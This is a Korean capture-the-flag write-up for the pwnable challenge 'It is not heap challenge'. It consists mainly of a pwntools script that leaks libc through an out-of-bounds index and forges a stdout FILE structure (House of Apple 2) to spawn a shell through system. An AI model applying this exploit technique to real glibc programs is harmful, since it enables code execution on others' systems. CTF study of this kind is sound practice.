It is not heap challenge
부부캠프 pwnable 부문 제일 높은 점수를 주었던 It is not heap challenge write-up입니다. 해당 문제 제작자분께 허락받고 write-up을 작성하였습니다.
상세 문제 풀이 과정은 아래 블로그 링크에 작성해뒀습니다.
https://poiri3r.tistory.com/66
문제파일 필요하신 분은 개인 카톡 주시면 보내드리겠습니다.
from pwn import*
#여기까진 oob를 통한 libc leak p = process('./chall', env={'LD_PRELOAD' : './libc.so.6'}) libc = p.libc p.sendlineafter('Edit\n', str(1)) p.sendlineafter('idx: ',str(0)) p.sendlineafter('size: ', str(0x100) ) p.sendline(b'a' * 8) p.sendlineafter('Edit\n', str(4)) p.sendlineafter('idx: ', str(-4)) p.send(b'12312312') p.sendlineafter('Edit\n', str(3)) p.sendlineafter('idx: ', str(-4)) p.recvuntil(': ') p.recvn(8)
libc_leak = u64(p.recvn(6) + b'\x00' * 2) libc_base = libc_leak- 0x21b803 libc.address = libc_base log.success(f"libc_leak: {hex(libc_leak)}") log.success(f"libc_base: {hex(libc_base)}") #이제 필요한 값 세팅해야함 #libc base를 알고 있으니 필요한거 미리 선언 #house of apple 2 기법 #one gadget or system(system은 정렬 제약있음) buf = libc_base + 0x21b8d0 system = libc_base + 0x50d70 stdout = libc.symbols['IO_2_1_stdout'] wfile = libc_base + 0x2170c0 lock = libc_base + 0x21b8d0
log.success(f"buf: {hex(buf)}")
log.success(f"system: {hex(system)}")
log.success(f"stdout: {hex(stdout)}")
log.success(f"wfile: {hex(wfile)}")
gdb.attach(p)
#_flags : 01010101; 뒤에 sh;
payload = b'\x01\x01\x01\x01;sh;'
#_IO_read_ptr
payload += p64(0)
#_IO_read_end&_IO_read_base 또는 _IO_write_base,_IO_write_ptr
payload += p64(buf) * 2
#채울필요없는 구조체
payload += p64(0) * 9
#_chain
payload += p64(system)
#_fileno
payload += p64(1)
#_flags2 = -1
payload += p64(0xffffffffffffffff)
#_old_offset
payload += p64(0)
#_lock
payload += p64(lock)
#_offset
payload += p64(0xffffffffffffffff)
#_codecvt
payload += p64(0)
#_wide_data 구조체 자기 자신을 가르킴 프로그램은 stdout구조체의 데이터를
#_wide_data 구조체의 데이터로 이중 해석
payload += p64(stdout - 0x10)
#padding
payload += p64(0)*3
#_mode : -1 mode를 -1로 설정하면 파일이 와이드문자 모드임을 알림
payload += p64(0xffffffff)
#padding
payload += p64(0)
#_wide_vtable
payload += p64(stdout)
#vtable : 검증을 통과하는 합법적인 _IO_wfile_jumps 주소
payload += p64(wfile)
p.sendlineafter('Edit\n', str(4)) p.sendlineafter(': ', str(-4)) p.send(payload)
p.interactive()